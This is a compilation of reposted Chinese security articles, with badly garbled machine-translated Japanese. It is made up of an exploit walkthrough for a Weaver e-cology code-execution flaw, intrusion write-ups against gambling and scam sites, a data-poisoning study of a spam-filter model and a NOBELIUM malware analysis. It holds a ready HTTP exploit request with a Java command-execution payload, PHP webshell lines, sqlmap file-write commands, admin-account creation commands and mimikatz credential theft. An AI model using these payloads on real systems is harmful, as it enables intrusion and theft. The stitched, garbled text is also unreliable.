tilzfhlg3qw14911.jpgq0oxmgyccvs14915.jpgltooswhmyhi14918.jpgr2kdiruazx514922.jpg
访问路径为 /api/integration/workflowflow/getInterfaceRegisterCustomOperation

getInterfaceRegisterCustomOperation调用了execute,首先判断了用户,所以这里是后台漏洞

eyzufmlts0114925.jpg

因为我们需要这个污点函数JavaCodeToObject,所以要满足if的条件并且控制var18和var20

amoqh5hstpp14929.jpg

这里var14要为add

0xyjwebtbce14930.jpg

var14的值是从请求参数method取得,因为前面是指定POST方法所以这里method=add

0yfbo2sdnxp14932.jpg

进入if判断后var15的值如果为空就会return掉,所以这里actionid的值不为空就好,结合上面的条件就是method=add&actionid=1

0ccuyqrcpxz14934.jpg

这里var18的开头如果不是weaver.interfaces.workflow.action.javacode.Action将会进入下面的判断导致抛出异常,达不到我们想要的结果,所以这里classname=weaver.interfaces.workflow.action.javacode.Action,结合上面的参数method=add&actionid=1classname=weaver.interfaces.workflow.action.javacode.Action

ovgndgck51w14936.jpg

下面var20值取自javacode参数,结合上面payload为method=add&actionid=1&classname=weaver.interfaces.workflow.action.javacode.Action&javacode=

vciezpr1mxz14939.jpg

if如果var18包含weaver.interfaces.workflow.action.javacode进入我们想要的javacodetoobject调用,所以classname=weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode.Action两个条件用.连接否则会报加载异常

mbmwzbcl1y214941.jpg

根据上面的条件都已满足var18和var20条件,构造var20的参数为 javacode=package weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode; import java.io.IOException; public class test { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } } }这里将命令执行的代码放在静态代码块是因为实例化的时候会自动执行static中的代码,达到命令执行

0k1ioy4rubn14945.jpg

实际发包好像没有利用成功,回头看一下代码 发现丢了个参数 dtinfo_CustomParameterData

POST /api/integration/workflowflow/getInterfaceRegisterCustomOperation HTTP/1.1
Host: 
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/105.0.1343.33
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: ecology_JSessionid=aaa8G6PRBnnBD82yi6Fky; JSESSIONID=aaa8G6PRBnnBD82yi6Fky; __randcode__=d2fa15e2-395e-4b3b-a004-82fc07c18695; loginidweaver=1; languageidweaver=7; loginuuids=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 548

method=add&actionid=1&classname=weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode.Test&dtinfo_CustomParameterData=11&javaCode=package weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode;
import java.io.IOException;
public class Test {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

cbhsgocnqwv14947.png



转载来自: https://xz.aliyun.com/t/11947

0x00はチェスとカードのウェブサイトに遭遇します

1。単純なパケットキャプチャ分析

图片

图片

2.ユーザー名に単一の引用符を追加すると、エラーが直接報告されます。閉じた後、それは正常です。 SQLに着実に注入します。

3.テスト後、セキュリティデバイスは見つかりませんでした。SQLMAPに移動します。

4.プロセスはやり過ぎではありません。次のデータを取得するだけです

Current-User:開発者@%

@@beadir: '/usr/'を選択します

select user(): 'developer@121.x.x.x'

データベース(): 'edc'を選択します

System_user(): 'developer@121.x.x.xを選択

@@ Character_Sets_dir: '/usr/share/mysql/charsets/'を選択

@@ Character_set_client: 'utf8'を選択

@@datadir: '/var/lib/mysql/'を選択

@@ Character_set_server: 'latin1'5を選択します。情報収集の波を通じて、現在のユーザー許可は非常に低く、有用な情報はほとんどありません

6.ターゲットポートをスキャンして、かなり多くのポートが開いていることがわかりました。

图片

7.ページなしでポート80を開きます

图片

ポート888は、Apacheのデフォルトのホームページです。絶対パス/var/www/html/

ポート9090は、ギャンブルステーション管理ログインアドレスです

ポート9091はギャンブルステーションメンバーのログインアドレス图片です

图片

8。テスト後、これらの2ページで利用できる脆弱性はありません。

0x01ブレークスルーポイント

1。ディレクトリをスキャンすることにより、エラーページが見つかり、注入ポイントを取得し、info.phpを取得します

图片

图片

2。データベースのルートアクセス許可を取得します

图片

db_test現在のデータベース

[19:54:48] [情報] Resumed: 'root'@'localhost'

[19:54336048] [情報] Resumed: 'Developer'@'localhost'

[19:54:48] [情報] Resumed: 'root'@'127.0.0.1'

[19336054:48] [情報] Resumed: 'syncopy'@'222.xxx.xxx.xxx'

[19:54336048] [情報] Resumed: 'MLH'@'LocalHost'

[19336054:48] [情報] Resumed: 'Developer'@'%'

[19336054:48] [情報] Resumed: 'MLH'@'%'

[19336054:48] [情報] Resumed: 'edc'@'%'

[19:54:48] [情報] Resumed: '6hc_nav'@'%'

图片

0x02シェルに書き込みます

1。SQLステートメントを介してシェルに書き込むことは成功していません。積み重ねられたクエリの場合にのみ、quEries以外のSQLステートメントを実行できます

sqlmap -sql-shell

'?php eval($ _ post [' x ']);'を選択しますInto Outfile '/var/www/html/25u_ft/1.php' 图片

2。別の方法で書いてください

-file-write '/localhost/shell.php' ---file-dest '/var/www/html/25u_ft/test.php'3。書くことはまったく不可能です。書き込み許可がなく、許可のみがあることがわかりました

-file-read '/var/www/html/25u_ft/info.php'4。正常に読み取ることができ、構成ファイルを読み取ろうとした後、エラーパスに乗り出しました

图片

图片

(1)私はいくつかの構成ファイルを読みました、そして私は知らない

(2)戻って管理者のパスワードを挿入し、背景からシェルを取得してみてください

-d '10fenft' -t 'g_user' -c 'g_name、g_password' - dump 图片

(3)バックグラウンドに正常にログインします

图片

图片

(4)アップロード機能のない単純な背景のグループ

0x03 getShell

1。必要な条件がある場合は、シェルを取得できません。これは非常に不快です。

2。さまざまなチャネルを介してこのIPをクエリし、突然、ドメイン名が以前に解決されたことがわかりました。

图片

3.素晴らしい、ドメイン名は正常にアクセスできます、それはフォーラムです

图片

4.それはThinkphpであることが判明し、絶対的なパスも明らかにされました

5。以前の書き込み操作を繰り返すとすぐに成功します、ハハハハ

图片

0x04パッケージソースコード

1。シェルへの直接リンク

图片

2。権限は高くありませんが、パッケージングソースコードにはまったく影響しません。

图片

0x05要約

同じタイプのサイトがたくさんあることがわかりました

ソースコードは以下に配置されています

https://xzfile.aliyuncs.com/upload/affix/20210513165936-8aadc29a-b3c9-1.rarは、元のリンクから再現されています。 https://mp.weixin.qqc.com/s?__biz=mzg2ndawmda1na=mid=2247486232Idx=1SN=301810A 7BA60ADD83CDCB99498DE8125CHKSM=CE67A181F9102897905FFD677DAFEB90087D996CD2E7965 300094BD29CBA8F68D69F675829BESCENE=21#WECHAT_REDIRECThttps://XZ.ALIYUN.COM/T/9567

phpmyAdminの弱いパスワードを取得します

宝くじサイトのIPは情報を介してxxxであり、検出スキャンはphpmyadminが存在することを明らかにします。推測を通じて、デフォルトの弱いパスワード(root/root)を使用して、phpmyAdminにログインします。

图片

图片

PHPMyAdminバックグラウンドSQLクエリを介してファイルをログに記録するシェルを書き込む

phpmyAdminのSQLクエリ関数を使用して、ログファイルにTrojanを文章を書き込みます。

プロセスとコマンドは次のように:です

1。ログ機能をオンにします:Global general_log=onを設定します。

2。phpmyadmin変数をクリックして、ログファイル名:を表示します

图片

ここのログファイルはtest.phpです。

3。sqlコマンドを実行し、ログファイルに文を書きます: '?php assert($ _ post [' test ']);';

图片

4。実行が成功した後に戻ります。

图片

5.ログファイルを表示します。

图片

6.包丁を接続してユーザーを追加し、Mimikatzをアップロードします。

包皮ナイフを使用してログファイルに接続するトロイの木馬、xxx/test.phpパスワード:test

图片

システム管理者システムの許可であることを確認して確認します。ユーザーを追加して管理グループに追加してください。

コマンドは: C: \ windows \ system32 \ net.exeユーザーテストテスト!@#123 /addです

c: \ windows \ system32 \ net.exeローカルグループ管理者テスト /追加

Mimikatazをサーバーにアップロードします。

图片

7。3389接続と管理者のパスワードを読み取ります。

(1)直接的なTelnet IP 3389テストではアクセス可能であることがわかりました。そのため、3389を直接接続して入力しました。

图片

(2)または、次のコマンドがここの包丁で実行され、3389までにポートを開くとクエリをします。

ステップ1 :タスクリスト /SVC | findstr termerviceリモートデスクトップサービスのプロセスをクエリします

ステップ2 : Netstat -Ano | FindStr **** //リモートデスクトップサービスプロセス番号に対応するポート番号を確認します。

(3)Mimikatzを実行し、管理者グループのログインパスワードを読み取ります。

图片

(4)取得した管理者/xxxxアカウントパスワードを使用して、リモートでサーバーにログインします。

图片

サーバーは、phpMyStudyを使用してバッチに宝くじステーションを建設することがわかっていました。約12個のサイトがあり、いくつかのサーバー上のWebサイトドメイン名に自由にアクセスできます。一部のスクリーンショットは次のように:です

システム1 :

图片

システム2 :

图片

システム:

图片

舞台裏1 :

图片

舞台裏2 :

图片

元のリンクから転載: https://mp.weixin.qqq.com/s?__biz=mzg2ndywmda1na==mid=2247487003IDX=1SN=5C85B34CE6FFB400FDF858737E34DF3DCHK SM=CE67A482F9102D9405E838F34479DC8D1C6B793D3B6D4F40D9B3CEC9CC87F1455555555CB3DDCCENE=21#WECHAT_REDIRECT

https://blog.csdn.net/weixin_39997829/article/details/109186917

今日、友人は突然、電話を転送し、1,200元をだまされた特定の人がだまされたと言った。彼はショックを受けました。予想どおり、試してみます。图片

詐欺のウェブサイトの住所に来るつもりです。オープニングは次のようなものです。图片は情報を決定的に収集します:(メッセージ詐欺師が友人のお金を返しているので、彼は彼にある程度顔とモザイクを与えます) 图片はオープン80ですので、公式ウェブサイトからカスタマーサービスソフトウェアを見つけることに関するチュートリアルをご覧ください。バックグラウンドパスは次のとおりであることがわかりました: /admin 图片直接アクセスは予想通り、图片わからない、私は直接管理者:123456、ハハハに行くとは思っていませんでした:图片次のステップはゲッシェです。私はそれが直接編集可能な言語構成ファイルであることがわかりました:图片ここで簡単な文を使用してIPをブロックしました。私はそれを見て、実際にクラウドシールドを使用しました。この嘘つきは少し安全であるため、ゴジラキラーを使用する必要がありました(バイパス機能を直接持っています。これは使いやすいです、正しいです):图片善人、障害者機能は非常に多く、バイパス图片discover

Godzillaのディレクトリアクセスバイパス:图片を直接使用します

ディレクトリを閲覧するとき、PHPには複数のバージョンがあることがわかりました。私はPHP5の調達権に精通していません(ゴジラはハハには適用されません)。 PHP7を見た後、他のサイトを見つけることにしました:图片他のサイトにアクセスできます。 IPの解析はこれだけです。最後に、PHP7 图片を見つけました

最終的にPHP7を見つけましたが、Linuxバージョンのカーネルは非常に新しいものです。電力の上昇は問題であるように思われます图片

次に、予想通り、ゴジラの関数は実行可能可能性のコマンドをバイパスします:图片は、実行後に低生物シェルを直接取得します:图片

これは、許可が非常に低いWWWユーザーです。ディレクトリにも豚の殺害ツールが見つかりました:フレーム图片

ワンクリックで詐欺の詳細へのリンクを生成することができます:图片(今では誰もがQQ Wechatトランザクションの重要性を信じてはいけないことを知っています。

最後に、収集されたデータベースリンクやその他の情報に基づいて、データベースを調べます。ゴジラのリンクに問題があります:图片

詐欺サーバーにアクセスするためにFRPを構築する:图片

情報:图片 图片 图片

WWWユーザーはMySQL Directory.soファイルに書き込むことができないため、MySQLをエスカレートできません。

Sudoは常にWWWパスワードを使用する必要がありましたが、Sudoも使用できません。

suidビットのコマンドは、テーブルに示されているとおりです。

/usr/bin/chage

/usr/bin/gpasswd

/usr/bin/newgrp

/usr/bin/mount

/usr/bin/su

/usr/bin/umount

/usr/bin/pkexec

/usr/bin/chfn

/usr/bin/chsh

/usr/bin/at

/usr/bin/sudo

/usr/bin/crontab

/usr/bin/passwd

/usr/sbin/grub2-set-bootflag

/usr/sbin/unix_chkpwd

/usr/sbin/pam_timestamp_check

/usr/lib/polkit-1/polkit-agent-helper-1は最終的にCVE-2018-189553359www.freebuf.com/news/197122.html 图片最終的に、ソートされた情報が友人に提出され、警察には深くなりませんでした。

この記事は、元のリンクから再現されています。 https://xz.aliyun.com/t/9200https://mp.weixin.qqc.com/s?__biz=mzg2ndywmda1na=mid=2247486388IDX=1SN=CFC74CE3900B5A89478BA B819EDE626CHKSM=CE67A12DF910283B8BC136F46EBD1D8EA59FCCE80BCE216BDF075481578C479FEFA58973D7CBSCENE=21#WECHAT_REDIRECT

1.jpeg

我們經常使用機器學習(ML)技術來提高網絡安全系統的質量,但是機器學習模型可能容易受到旨在“愚弄”它們以提供錯誤結果的攻擊。這可能會對我們的公司和客戶造成重大損害。因此,了解ML解決方案中的所有潛在漏洞以及如何防止攻擊者利用這些漏洞至關重要。

這篇文章是關於我們如何攻擊我們自己的DeepQuarantineML技術-它是反垃圾郵件系統的一部分,以及我們針對此類攻擊部署了哪些保護方法。但首先,讓我們仔細看看技術本身。

DeepQuarantineDeepQuarantine是一種神經網絡模型,用於檢測和隔離可疑電子郵件。它為反垃圾郵件系統爭取時間來更新我們的垃圾郵件過濾器並進行重新掃描。 DeepQuarantine流程類似於機場安全服務的工作,引起懷疑的乘客將被帶走進行額外檢查。在安全部門檢查他們的行李和檢查他們的文件時,乘客必須等待。如果經過檢查後發現沒有問題,則允許乘客通過,否則將被拘留。在反垃圾郵件系統中,安全服務的角色由反垃圾郵件專家和服務機構扮演,這些專家和服務機構在電子郵件被隔離時處理大量電子郵件並創建新的檢測規則。如果header分析揭示了垃圾郵件的新跡象,則會根據結果創建檢測規則。同時,在郵件被隔離的同時可能會處理其他電子郵件,從而產生新的檢測規則。電子郵件離開隔離區後,將對其進行重新掃描。如果這觸發了任何新規則,則消息將被阻止;如果沒有,則將其交付給收件人。請注意,隔離技術需要非常準確,以免延誤合法的電子郵件——就像機場安檢無法對每一位乘客進行全面檢查一樣,因為這會打亂出發時間表。如果這觸發了任何新規則,則消息將被阻止;如果沒有,則將其交付給收件人。請注意,隔離技術需要非常準確,以免延誤合法的電子郵件——就像機場安檢無法對每一位乘客進行全面檢查一樣,因為這會打亂出發時間表。

點擊此處閱讀有關DeepQuarantine工作原理的更多信息。要成功攻擊ML模型,必須知道兩件事:1)它用於決策的特徵;2)它的訓練數據是如何生成的。

為了識別可疑電子郵件,DeepQuarantine使用了一系列技術標頭(例如,圖1中此特性的值為“主題:發件人:收件人:日期:Message-Id:內容類型:X-Mailer”),加上Message-Id(唯一消息標識符)和X-Mailer(郵件客戶端名稱)字段的內容。選擇這些特性是因為它們取決於所使用的郵件客戶端的類型,並且可能包含垃圾郵件發送者的踪跡。

2.png

圖1. 電子郵件技術header

圖2說明了算法的運作方式。左邊是來自PayPal的真實信息,右邊則是假的。如果要發送電子郵件,Message-Id是必需的,其格式取決於郵件客戶端。如果我們將偽造的header與原始header進行比較,最大的不同是該字段缺少域和隨機字符序列。

3.png

圖2. 真假PayPal 電子郵件header的比較

詐騙者在模型處理的各種技術標頭中留下的各種痕跡表明這是一項艱鉅的任務。

現在讓我們看看生成訓練數據的過程,這是對我們的模型實施攻擊的起點。

4.png

圖3. 訓練樣本生成方案

用於訓練模型的數據和標籤是在反垃圾郵件系統的一般操作過程中自動生成的。訓練樣本生成方案如圖3所示。在掃描郵件後,如果客戶端同意數據處理,Anti-Spam會將其header和判定轉發到卡巴斯基安全網絡(KSN)。這些數據從KSN被發送到一個存儲庫,在那裡它被用來訓練模型。郵件header用作分析樣本,反垃圾郵件引擎的判定用作標籤。

對機器學習模型的攻擊是什麼使得攻擊機器學習模型成為可能?這主要是因為使用機器學習技術,訓練樣本中的數據分佈有望與模型在現實世界中遇到的數據分佈相匹配。違反此原則可能會導致算法出現意外行為。因此,對機器學習模型的攻擊可以分為兩種:

00001.對抗性輸入——生成輸入數據,導致已經訓練和部署的模型給出錯誤的判斷。

00002.數據中毒——影響訓練樣本以產生有偏差的模型。

在第一種情況下,為了成功,對手通常需要直接與模型交互。 DeepQuarantine只是反垃圾郵件系統的一個組成部分,因此排除了與其直接交互的可能性。第二種類型的攻擊對我們的模型來說危險得多。讓我們仔細看看。

數據中毒攻擊可以進一步分為兩個子類型:

00001.模型傾斜——污染訓練樣本以改變模型的決策邊界。這種攻擊的一個例子是針對Google的垃圾郵件分類器,其中高級垃圾郵件組試圖通過將大量垃圾郵件標記為“非垃圾郵件”來污染訓練樣本。目的是讓系統允許更多垃圾郵件通過。

00002.後門攻擊——將具有特定標記的示例引入訓練樣本以迫使模型做出錯誤決策。例如,在屬於某個類別(比如狗)的圖片中嵌入一個灰色方塊,僅當模型在看到這個方塊時才開始識別狗,而這張照片可能根本不是狗。

有幾種方法可以降低數據中毒攻擊的風險:

00001.確保來自少量來源(例如,來自一小群用戶或IP地址)的輸入數據不佔訓練樣本的大部分。這會迫使垃圾郵件發送者採取額外的措施來防止他們的操作被作為統計異常值而遭到拒絕,從而使垃圾郵件發送者更難實施此類攻擊。

00002.在發布模型的更新版本之前,使用一系列技術將其與最新的穩定版本進行比較,例如A/B測試(比較測試環境中各種變化的版本)、摸黑啟動(為一小部分試點客戶運行更新的服務)或回溯測試(測試歷史數據的模型)。

00003.創建一個基準數據集,該數據集的正確評估結果是已知的,您可以根據該數據集驗證模型的準確性。

對DeepQuarantine的攻擊現在讓我們繼續攻擊DeepQuarantine。假設攻擊者的目標是隔離其雇主的競爭對手公司發送的所有電子郵件,這些電子郵件將嚴重影響其業務流程。我們調查攻擊者的步驟:

00001.找出公司使用的郵件客戶端以及公司發送電子郵件時生成的header類型。

00002.生成header與受攻擊公司類似的垃圾郵件。在郵件正文中添加一些明顯的垃圾郵件過濾觸發器,例如,顯式廣告或已知的網絡釣魚鏈接,這樣郵件幾乎不可避免地被標記為垃圾郵件。

00003.將這些消息發送給我們的客戶端,以便反垃圾郵件系統阻止它們,並將相關統計信息輸入到訓練和測試樣本中,如圖3所示。

如果在對中毒樣本進行訓練後,模型通過了測試,則被攻擊的模型將被釋放,並且來自受害公司的電子郵件開始被隔離。接下來,我們嘗試不同的數據中毒技術。

方法首先,我們採集了乾淨的訓練和測試數據樣本,這些樣本由一組帶有相應反垃圾郵件判斷的電子郵件header組成。在這兩個樣本中,我們都添加了模仿受攻擊公司中毒的header,並以不同的數量判定“垃圾郵件”:樣本大小的0.1%、1.5%和10%。對於每個實驗,訓練樣本和測試樣本中中毒數據的比例相同。

在中毒訓練樣本上訓練模型後,我們使用測試樣本來檢查精度(正確的肯定結論在所有模型的肯定結論中的比例)和召回率(正確肯定結論在垃圾郵件標題總數中的比例)樣本)指標,以及模型分配給受攻擊公司電子郵件的“垃圾郵件”判決的可信度。

實驗1.模型傾斜我們的第一個實驗實施了一種模型傾斜方法,就像對谷歌反垃圾郵件模型的攻擊一樣。然而,與穀歌的例子不同,我們的目標是模擬對特定公司的攻擊,這稍微複雜一些。在本例中,我們在Message-Id字段中使用了所選公司的域(圖4),但ID本身是隨機生成的,僅保留該公司使用的郵件客戶端特定的長度。我們沒有更改受攻擊公司郵件客戶端的header序列或X-mailer字段。

5.png

圖4. 中毒示例模板

我們分析了我們的目標指標(精度和召回率)如何根據中毒數據相對於訓練樣本量的比例在測試數據集上發生變化。結果如圖5所示。如圖所示,相對於數據中沒有中毒示例,目標指標幾乎保持不變。這意味著可以發佈在中毒樣本上訓練的模型。

6.jpeg

圖5. 取決於中毒數據量的目標指標

我們還使用來自我們選擇的公司的真實電子郵件的header,測試了數據中毒如何影響模型對消息應該被隔離的置信度。

如圖5所示,當中毒數據的份額超過5%時,模型已經強烈傾向於認為應該隔離受攻擊公司的電子郵件。因此,這種有偏見的模型可能會切斷該公司與我們客戶之間的通信,而這正是攻擊者試圖實現的目標。

7.jpeg

8.jpeg

9.jpeg

10.jpeg

11.jpeg

圖6. 根據數據中毒的數量,模型對隔離受害公司電子郵件的需求的信心密度發生的變化

現在,基於那些導致模型做出錯誤決策的對象,讓我們看看它在看什麼。為此,我們使用Saliency via Occlusion方法構建了一系列特徵圖(見圖6),其中header某些部分的顯著性是通過交替隱藏這些部分並評估這是如何改變模型的置信度來建立的。圖片中的區域顏色越深,說明神經網絡在決策過程中就越關注這個區域。該圖還顯示了來自所選公司(Target)和其他公司(Other)的電子郵件被隔離的數量。

12.jpeg

圖7. 特徵圖

正如我們在圖中看到的,只要模型沒有足夠的中毒數據來對來自受攻擊公司的電子郵件返回誤報,該模型就主要集中在Message-Id字段上。但是一旦中毒數據足以使模型產生偏差,它的注意力就會均勻地分佈在Message-Id、X-mailer字段(圖中的MUA)和電子郵件中的標題序列(標題序列)之間。

請注意,儘管5%的中毒數據足以進行成功攻擊,但從絕對值來看,這是相當多的數據。例如,如果我們使用超過1億封電子郵件進行訓練,攻擊者將需要發送超過500萬封電子郵件,而這些郵件很可能會被監控系統接捕獲。

我們能否更有效地攻擊我們的模型?事實證明我們可以。

實驗2.帶時間戳的後門攻擊某些郵件用戶代理在Message-Id字段中指定時間戳。我們使用這個事實來創建帶有與模型發布日期相對應的時間戳的中毒header。如果攻擊成功,該模型會將在發布當天收到的來自受攻擊公司的電子郵件進行隔離。圖8顯示了我們如何生成中毒數據。

13.png

圖8. 數據後門

這種數據中毒是否會影響模型預發布測試中的目標指標?結果與模型傾斜攻擊相同(圖9)。

14.jpeg

圖9. 取決於中毒數據量的目標指標

所需的數據中毒量是否會影響攻擊的效率?正如我們在圖10中看到的,在這種情況下,攻擊者只需要0.1%的中毒數據即可將模型轉變為將受害公司的電子郵件標記為可疑。

15.jpeg

16.jpeg

17.jpeg

18.jpeg

19.jpeg

圖10. 基於數據中毒量的模型對隔離受害公司電子郵件的信心密度的變化

讓我們再次看一下特徵圖,看看我們的模型在本例中關注了什麼。圖11顯示,在中毒率為0.1%時,模型側重於域起始區域、代理類型和header序列,神經網絡主要集中在時間戳上。我們還注意到,當模型只關注時間戳時,它會對來自其他公司的電子郵件(這些公司的Message-Id也以時間戳開頭)發出更多誤報。隨著中毒級別的增加,模型變得專注於時間戳和域起始區域。同時,它對X-mailer領域和header序列。

20.jpeg

圖11. 特徵圖

實驗3.帶時間戳的後門攻擊-延遲攻擊在之前的實驗中,我們能夠顯著提高攻擊效率。但實際上,攻擊者不太可能知道模型的發布日期。在這個實驗中,我們決定進行延遲攻擊,看看這是否會影響測試結果。為此,我們生成了帶有時間戳的有毒header,時間戳從當前的發布日期前移一年。

結果如圖12所示:樣本中毒在測試過程中沒有以任何方式反映出來,這對我們來說是最危險的結果,因為這意味著攻擊幾乎不可能被監測出來。鑑於後門將在未來不確定的時刻被激活,即使是摸黑啟動和A/B測試也無助於識別攻擊。

21.jpeg

22.jpeg

23.jpeg

24.jpeg

25.jpeg

圖12.模型對隔離受害公司電子郵件需求的信心依賴於數據中毒量

根據實驗結果,我們得出以下結論:

00001.模型傾斜需要相當多的中毒樣本

00002.攻擊的事實並沒有反映在準確率和召回率上

00003.添加“後門”(在我們的例子中是時間戳)使攻擊更有效

00004.在延遲攻擊的情況下,摸黑啟動和A/B測試可能無效

我們通過實驗證明了對我們技術的成功攻擊。但這又引出了一個問題:如何防禦此類攻擊?

防止對ML模型的攻擊在我們的實驗背景下,讓我們仔細看看防範數據中毒攻擊的方法,我們在“對機器學習模型的攻擊”這一節中提到過:訓練數據的受控選擇;A/B測試、摸黑啟動或反向測試等技術;生成精心控制的基準數據集。訓練樣本的受控選擇確實使攻擊實現複雜化,因為攻擊者必須找到一種發送虛假數據的方法,因此很難分組和過濾。這在技術上可能很困難,但不幸的是,並非不可能。例如,為了防止中毒電子郵件按IP地址分組,攻擊者可以使用殭屍網絡。

當涉及到創建一個額外的基準數據集時,如果數據分佈隨時間發生變化,問題就出現了——該數據集將保持當前狀態多長時間。

將更新的模型與最新的穩定工作版本進行比較似乎是一個更好的解決方案,因為這使我們能夠監控模型的變化。但是如何將它們相互比較呢?

讓我們考慮兩個選項:比較當前測試數據集上的模型版本(選項1),並比較每個版本發佈時的當前測試數據集上的模型版本(選項2)。下表顯示了我們為這兩個選項運行的測試序列。

image.png

在模型對比的第二階段,我們進行了一系列的統計檢驗:首先,我們比較了模型的目標指標。在這個階段,我們看到在不同程度的數據污染的樣本上訓練的原始版本和更新後的版本之間沒有顯著差異。我們在實驗攻擊中獲得了類似的結果。

马云惹不起马云對配對和獨立樣本的學生t檢驗

马云惹不起马云配對樣本的Wilcoxon符號秩檢驗

马云惹不起马云對獨立樣本進行Mann-Whitney U檢驗

马云惹不起马云樣品均勻性的Kolmogorov-Smirnov檢驗

實驗揭示了一些奇怪的事情:結果證明,即使在比較兩個在乾淨樣本上訓練的模型時,標準也會產生顯著差異,儘管這些模型的預測分佈彼此差異不大。發生這種情況的原因是,有了大量的數據,測試對分佈形狀的最細微變化過於敏感。但是當我們減少統計測試中的數據量時,我們經常發現根本沒有顯著差異,因為攻擊目標的消息甚至可能不會最終出現在所採集的樣本中。對這個結果不滿意,我們制定了自己的標準。

我們基於這樣的一個事實,即在乾淨樣本上訓練的模型在相應測試數據集產生的分佈形狀方面幾乎沒有區別。而在對中毒樣本進行訓練的模型的預測分佈中,“駝峰”可能出現在分佈的右端。圖13顯示了一個大的“駝峰”以供說明。但實際上,它幾乎不會引起注意,因為來自受攻擊公司的電子郵件量可能只佔總消息流的一小部分。

26.png

圖13.合法電子郵件上模型預測的模型分佈

在分析過程中,我們得出了Wasserstein指標。實際上,該指標用作分佈之間距離的度量。我們的標準如下:

H0:訓練前後對非垃圾郵件樣本的預測分佈沒有顯示出統計上的顯著變化,即係統保持不變。

H1:分佈的變化在統計上是顯著的,也就是說,系統發生了變化。

我們使用Wasserstein度量來評估合法電子郵件樣本中

攻擊者NOBELIUM最近加強了通過基於電子郵件的攻擊,郵件釣魚攻擊自2021 年初以來一直在進行。我們將繼續監視這種主動攻擊活動,並發布更多詳細信息。在本文中,我們重點介紹了代表NOBELIUM 使用的獨特感染鏈的四個工具:EnvyScout、BoomBox、NativeZone 和VaporRage。據觀察,這些工具早在2021 年2 月就在野外使用,試圖攻擊各種敏感的外交和政府目標。

本文中討論的每個NOBELIUM 工具都是為靈活性而設計的,使使用者能夠隨著時間的推移適應場景。 NOBELIUM 的安全能力可能影響了該工具集的設計,該工具集為在潛在高風險和高對抗環境中的使用者提供了更好的隱藏功能。這些安全功能是:

使用可信通道:BoomBox是一款獨特開發的下載程序,用於從攻擊者控制的Dropbox帳戶獲取後期有效負載。所有初始通信都通過HTTPS利用Dropbox API。

環境分析:與NOBELIUM、BoomBox、VaporRage 和一些NativeZone 變體使用的其他工具一致,樣本會對受影響的系統環境進行一定程度的分析。

混淆:VaporRage 是一個獨特的shellcode 加載器,被視為第三階段的有效載荷。 VaporRage 可以完全在內存中下載、解碼和執行任意負載。這種設計和部署模式,其中還包括在受感染網站上暫存有效載荷,阻礙了傳統的工件和取證調查,允許獨特的有效載荷不被發現。

儘管自2020 年底SolarWinds 攻擊事件曝光以來,社區知名度不斷提高,但NOBELIUM 仍繼續以全球政府和外交實體為目標。我們預計,隨著這些業務的進展,NOBELIUM 將繼續完善其工具和策略,以面向全球目標。

0x01 EnvyScout:NV.html(惡意HTML 文件)NV.html被Microsoft 跟踪為EnvyScout,最好將其描述為一個能夠對惡意ISO 文件進行反混淆並將其寫入磁盤的惡意投放器。 EnvyScout 主要通過魚叉式網絡釣魚電子郵件的附件發送給NOBELIUM 的目標。

NV.html的HTML

組件#1:跟踪和憑據收集URL

img

在EnvyScout 的一種變體中,

第一個以file://協議處理程序為前綴,表示試圖誘使操作系統通過端口445 將敏感的NTLMv2 信息發送到指定的攻擊者控制的IP 地址。 攻擊者很可能正在運行憑據在這些事務的另一端捕獲服務,例如Responder。

第二個URL 在分析時解析為與前者相同的IP 地址,遠程獲取作為HTML 誘餌一部分的圖像。這種技術有時被稱為“網絡錯誤”,作為對NOBELIUM 的各種讀取返回,驗證預期目標是否已打開惡意附件。

組件#2:FileSaver JavaScript 幫助程序代碼

img

EnvyScout 的第二部分是開源工具FileSaver的修改版本,旨在幫助通過JavaScript 將文件寫入磁盤。該代碼直接從公開可用的變體中藉用,並進行了細微改動,包括去除空格、將十六進制參數轉換為十進制以及重命名變量。通過將此代碼與下面詳述的組件#3 和#4 相結合,NOBELIUM 有效地實現了HTML 走私方法。這種方法可以通過在執行時在動態更改的內容中隱藏已知惡意文件類型來規避對已知惡意文件類型的靜態分析。

https://github.com/eligrey/FileSaver.js

https://outflank.nl/blog/2018/08/14/html-smuggling-explained/組件#3:混淆的ISO 文件

img

EnvyScout 的第三部分包含存儲為編碼blob 的有效負載。此有效負載通過使用單字節密鑰對每個字符進行異或來解碼,然後生成Base64 有效負載,然後通過組件#2 和#4 解碼並寫入磁盤。

組件#4:去混淆器和釋放器腳本

img

EnvyScout 的最後一個組件是一個簡短的代碼片段,負責解碼Base64 編碼/XOR'd blob 中的ISO,並將其作為NV.img保存到磁盤,並使用mime 類型“application/octet-stream”。在感染的這個階段,用戶應該通過雙擊打開下載的ISO NV.img。

EnvyScout 變體#1:

img

在攻擊者的網絡釣魚活動的某些迭代版本中,EnvyScout 包含被window.location.pathname調用的守護進程,並利用其值來確保返回的字符數組中的前兩個條目是“C”和“:”。如果不滿足這個條件,表明樣本不是從C:驅動器執行,那麼嵌入的ISO 就不會寫入磁盤。

img

EnvyScout 變體#2:

img

在至少一個EnvyScout 實例中,我們觀察到了對正在執行的瀏覽器環境的進一步枚舉,其中用戶代理用於確定Windows 機器是否收到了ISO 負載。

1.NV.img(惡意ISO 文件)當目標用戶通過雙擊打開NV.img時,Windows 10 上的默認行為是在下一個可用驅動器上安裝ISO 映像。 Windows 資源管理器隨後會在一個窗口中顯示已安裝ISO 的內容,類似於用戶打開文件夾或壓縮檔案時看到的內容。

img

